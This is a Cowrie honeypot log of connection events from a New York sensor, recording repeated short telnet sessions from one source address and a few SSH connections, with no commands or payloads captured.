{"eventid":"cowrie.session.closed","duration":32.74351620674133,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:48.843187Z","src_ip":"185.185.82.165","session":"3b48f009db10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.051743030548096,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:48.967471Z","src_ip":"185.185.82.165","session":"5c6726b9729b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":57048,"dst_ip":"159.203.135.109","dst_port":23,"session":"968fa77641c9","protocol":"telnet","message":"New connection: 185.185.82.165:57048 (159.203.135.109:23) [session: 968fa77641c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:49.269350Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":57050,"dst_ip":"159.203.135.109","dst_port":23,"session":"15d52653edfd","protocol":"telnet","message":"New connection: 185.185.82.165:57050 (159.203.135.109:23) [session: 15d52653edfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:49.281238Z"}
{"eventid":"cowrie.session.closed","duration":31.51505756378174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:49.738721Z","src_ip":"185.185.82.165","session":"757d21af0a1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.345688343048096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:51.258389Z","src_ip":"185.185.82.165","session":"7cce2ff74f3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":57066,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f6b7b9fcc02","protocol":"telnet","message":"New connection: 185.185.82.165:57066 (159.203.135.109:23) [session: 1f6b7b9fcc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:51.400724Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":57078,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8ba15d8074a","protocol":"telnet","message":"New connection: 185.185.82.165:57078 (159.203.135.109:23) [session: c8ba15d8074a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:54.265788Z"}
{"eventid":"cowrie.session.closed","duration":32.70514893531799,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:55.652270Z","src_ip":"185.185.82.165","session":"c469c98913e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.862643241882324,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:57.457324Z","src_ip":"185.185.82.165","session":"5d7d9ecc5166","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.226785898208618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:57.659402Z","src_ip":"185.185.82.165","session":"fb82dfea33cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.41417598724365,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:57.852445Z","src_ip":"185.185.82.165","session":"d6e203cbbebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":52278,"dst_ip":"159.203.135.109","dst_port":23,"session":"2776c24d88fc","protocol":"telnet","message":"New connection: 185.185.82.165:52278 (159.203.135.109:23) [session: 2776c24d88fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:09:58.054224Z"}
{"eventid":"cowrie.session.closed","duration":31.519116640090942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:00.096744Z","src_ip":"185.185.82.165","session":"b6cef00d063f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":52282,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9c3e5eda43e","protocol":"telnet","message":"New connection: 185.185.82.165:52282 (159.203.135.109:23) [session: e9c3e5eda43e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:01.405885Z"}
{"eventid":"cowrie.session.closed","duration":30.691548824310303,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:02.079494Z","src_ip":"185.185.82.165","session":"6d30317c86c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.668678522109985,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:02.450915Z","src_ip":"185.185.82.165","session":"c18593958f73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":52298,"dst_ip":"159.203.135.109","dst_port":23,"session":"65c7923e8ceb","protocol":"telnet","message":"New connection: 185.185.82.165:52298 (159.203.135.109:23) [session: 65c7923e8ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:03.461878Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40114,"dst_ip":"159.203.135.109","dst_port":23,"session":"31a7c2e68f27","protocol":"telnet","message":"New connection: 185.185.82.165:40114 (159.203.135.109:23) [session: 31a7c2e68f27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:07.272751Z"}
{"eventid":"cowrie.session.closed","duration":31.088221788406372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:09.025085Z","src_ip":"185.185.82.165","session":"8df8091e9e68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40122,"dst_ip":"159.203.135.109","dst_port":23,"session":"3ae6c8ec4dc4","protocol":"telnet","message":"New connection: 185.185.82.165:40122 (159.203.135.109:23) [session: 3ae6c8ec4dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:09.121535Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40126,"dst_ip":"159.203.135.109","dst_port":23,"session":"b97c3b9ac624","protocol":"telnet","message":"New connection: 185.185.82.165:40126 (159.203.135.109:23) [session: b97c3b9ac624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:11.883111Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":40140,"dst_ip":"159.203.135.109","dst_port":23,"session":"d179b55ccca0","protocol":"telnet","message":"New connection: 185.185.82.165:40140 (159.203.135.109:23) [session: d179b55ccca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:12.325777Z"}
{"eventid":"cowrie.session.closed","duration":31.6889910697937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:12.709758Z","src_ip":"185.185.82.165","session":"1c19a6fb1a5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.523622035980225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:13.489696Z","src_ip":"185.185.82.165","session":"7daea34e2c5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48702,"dst_ip":"159.203.135.109","dst_port":23,"session":"765bfbb7703b","protocol":"telnet","message":"New connection: 185.185.82.165:48702 (159.203.135.109:23) [session: 765bfbb7703b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:16.857295Z"}
{"eventid":"cowrie.session.closed","duration":32.92804527282715,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:18.192311Z","src_ip":"185.185.82.165","session":"9361c9414853","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48704,"dst_ip":"159.203.135.109","dst_port":23,"session":"397031c1ef3b","protocol":"telnet","message":"New connection: 185.185.82.165:48704 (159.203.135.109:23) [session: 397031c1ef3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:18.599349Z"}
{"eventid":"cowrie.session.closed","duration":40.95656442642212,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:19.087857Z","src_ip":"185.185.82.165","session":"d5304d5453da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35561800003052,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:19.753178Z","src_ip":"185.185.82.165","session":"ec89f7a3ed9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48714,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac5f3d5becd0","protocol":"telnet","message":"New connection: 185.185.82.165:48714 (159.203.135.109:23) [session: ac5f3d5becd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:20.961051Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.120.228.207","src_port":16727,"dst_ip":"10.17.0.5","dst_port":22,"session":"693f28b939af","protocol":"ssh","message":"New connection: 160.120.228.207:16727 (10.17.0.5:22) [session: 693f28b939af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:21.591426Z"}
{"eventid":"cowrie.session.closed","duration":32.49932098388672,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:21.780442Z","src_ip":"185.185.82.165","session":"15d52653edfd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48730,"dst_ip":"159.203.135.109","dst_port":23,"session":"b454fd79589a","protocol":"telnet","message":"New connection: 185.185.82.165:48730 (159.203.135.109:23) [session: b454fd79589a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:21.843528Z"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:21.977576Z","src_ip":"160.120.228.207","session":"693f28b939af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.22882533073425,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:22.498097Z","src_ip":"185.185.82.165","session":"968fa77641c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.579824209213257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:22.980368Z","src_ip":"185.185.82.165","session":"1f6b7b9fcc02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":48736,"dst_ip":"159.203.135.109","dst_port":23,"session":"12ed48b9f4a3","protocol":"telnet","message":"New connection: 185.185.82.165:48736 (159.203.135.109:23) [session: 12ed48b9f4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:23.759900Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":44736,"dst_ip":"159.203.135.109","dst_port":23,"session":"ba731027bc01","protocol":"telnet","message":"New connection: 185.185.82.165:44736 (159.203.135.109:23) [session: ba731027bc01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:26.662599Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":44738,"dst_ip":"159.203.135.109","dst_port":23,"session":"2006c2e3d571","protocol":"telnet","message":"New connection: 185.185.82.165:44738 (159.203.135.109:23) [session: 2006c2e3d571]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:27.019005Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":44744,"dst_ip":"159.203.135.109","dst_port":23,"session":"9812e9502aa6","protocol":"telnet","message":"New connection: 185.185.82.165:44744 (159.203.135.109:23) [session: 9812e9502aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:27.250858Z"}
{"eventid":"cowrie.session.closed","duration":33.174739837646484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:27.440458Z","src_ip":"185.185.82.165","session":"c8ba15d8074a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83493399620056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:29.889048Z","src_ip":"185.185.82.165","session":"2776c24d88fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":44760,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a3f3f71c58a","protocol":"telnet","message":"New connection: 185.185.82.165:44760 (159.203.135.109:23) [session: 9a3f3f71c58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:30.418030Z"}
{"eventid":"cowrie.session.closed","duration":31.14918351173401,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:32.554915Z","src_ip":"185.185.82.165","session":"e9c3e5eda43e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.210965633392334,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:34.672719Z","src_ip":"185.185.82.165","session":"65c7923e8ceb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":50850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b22f6178a73e","protocol":"telnet","message":"New connection: 69.65.3.189:50850 (10.17.0.5:23) [session: b22f6178a73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:35.376393Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":49968,"dst_ip":"159.203.135.109","dst_port":23,"session":"6058d74907e7","protocol":"telnet","message":"New connection: 185.185.82.165:49968 (159.203.135.109:23) [session: 6058d74907e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:36.120528Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":49958,"dst_ip":"159.203.135.109","dst_port":23,"session":"46dbbb02f5e0","protocol":"telnet","message":"New connection: 185.185.82.165:49958 (159.203.135.109:23) [session: 46dbbb02f5e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:36.776552Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":49974,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ab7c3c2bba","protocol":"telnet","message":"New connection: 185.185.82.165:49974 (159.203.135.109:23) [session: 54ab7c3c2bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:36.802007Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":49988,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ae96e4f6aa8","protocol":"telnet","message":"New connection: 185.185.82.165:49988 (159.203.135.109:23) [session: 7ae96e4f6aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:37.348675Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50002,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b2676a3f426","protocol":"telnet","message":"New connection: 185.185.82.165:50002 (159.203.135.109:23) [session: 6b2676a3f426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:37.409632Z"}
{"eventid":"cowrie.session.closed","duration":31.233636379241943,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:38.506287Z","src_ip":"185.185.82.165","session":"31a7c2e68f27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.693625688552856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:40.815022Z","src_ip":"185.185.82.165","session":"3ae6c8ec4dc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50010,"dst_ip":"159.203.135.109","dst_port":23,"session":"1272b1d5d628","protocol":"telnet","message":"New connection: 185.185.82.165:50010 (159.203.135.109:23) [session: 1272b1d5d628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:42.175406Z"}
{"eventid":"cowrie.session.closed","duration":30.454046487808228,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:42.337030Z","src_ip":"185.185.82.165","session":"b97c3b9ac624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50014,"dst_ip":"159.203.135.109","dst_port":23,"session":"51e782c9292a","protocol":"telnet","message":"New connection: 185.185.82.165:50014 (159.203.135.109:23) [session: 51e782c9292a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:43.326291Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50030,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ebff5ebf874","protocol":"telnet","message":"New connection: 185.185.82.165:50030 (159.203.135.109:23) [session: 6ebff5ebf874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:43.924797Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":50012,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ecaf12049ad","protocol":"telnet","message":"New connection: 185.185.82.165:50012 (159.203.135.109:23) [session: 2ecaf12049ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:44.201201Z"}
{"eventid":"cowrie.session.closed","duration":32.53232955932617,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:44.857988Z","src_ip":"185.185.82.165","session":"d179b55ccca0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":46762,"dst_ip":"159.203.135.109","dst_port":23,"session":"0150baf5ff31","protocol":"telnet","message":"New connection: 185.185.82.165:46762 (159.203.135.109:23) [session: 0150baf5ff31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:44.946333Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":46788,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f9d818a7072","protocol":"telnet","message":"New connection: 185.185.82.165:46788 (159.203.135.109:23) [session: 6f9d818a7072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:47.768857Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":46772,"dst_ip":"159.203.135.109","dst_port":23,"session":"bab2390b580c","protocol":"telnet","message":"New connection: 185.185.82.165:46772 (159.203.135.109:23) [session: bab2390b580c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:47.773741Z"}
{"eventid":"cowrie.session.closed","duration":31.494027376174927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:48.351164Z","src_ip":"185.185.82.165","session":"765bfbb7703b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.35412883758545,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:50.953332Z","src_ip":"185.185.82.165","session":"397031c1ef3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.986056327819824,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:52.829449Z","src_ip":"185.185.82.165","session":"b454fd79589a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.02815365791321,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:52.988979Z","src_ip":"185.185.82.165","session":"ac5f3d5becd0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.080890417099,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:54.840636Z","src_ip":"185.185.82.165","session":"12ed48b9f4a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":46802,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea8f2e77e7f4","protocol":"telnet","message":"New connection: 185.185.82.165:46802 (159.203.135.109:23) [session: ea8f2e77e7f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:55.066639Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54414,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b78522feeed","protocol":"telnet","message":"New connection: 185.185.82.165:54414 (159.203.135.109:23) [session: 9b78522feeed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:56.313105Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54444,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c80af0b76ea","protocol":"telnet","message":"New connection: 185.185.82.165:54444 (159.203.135.109:23) [session: 5c80af0b76ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:56.504131Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54450,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7f69a5ea573","protocol":"telnet","message":"New connection: 185.185.82.165:54450 (159.203.135.109:23) [session: b7f69a5ea573]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:56.585703Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54428,"dst_ip":"159.203.135.109","dst_port":23,"session":"3eff0afd8008","protocol":"telnet","message":"New connection: 185.185.82.165:54428 (159.203.135.109:23) [session: 3eff0afd8008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:56.620295Z"}
{"eventid":"cowrie.session.closed","duration":31.16709280014038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:57.829544Z","src_ip":"185.185.82.165","session":"ba731027bc01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.440351247787476,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:58.691075Z","src_ip":"185.185.82.165","session":"9812e9502aa6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.185.82.165","src_port":54464,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ec9eadf9f90","protocol":"telnet","message":"New connection: 185.185.82.165:54464 (159.203.135.109:23) [session: 2ec9eadf9f90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:59.547433Z"}
{"eventid":"cowrie.session.closed","duration":32.82582974433899,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:10:59.844702Z","src_ip":"185.185.82.165","session":"2006c2e3d571","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.185.195","src_port":38852,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f910b8a897","protocol":"ssh","message":"New connection: 209.99.185.195:38852 (10.17.0.5:22) [session: 08f910b8a897]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:01.517344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T21:11:01.522378Z","src_ip":"209.99.185.195","session":"08f910b8a897","protocol":"ssh"}
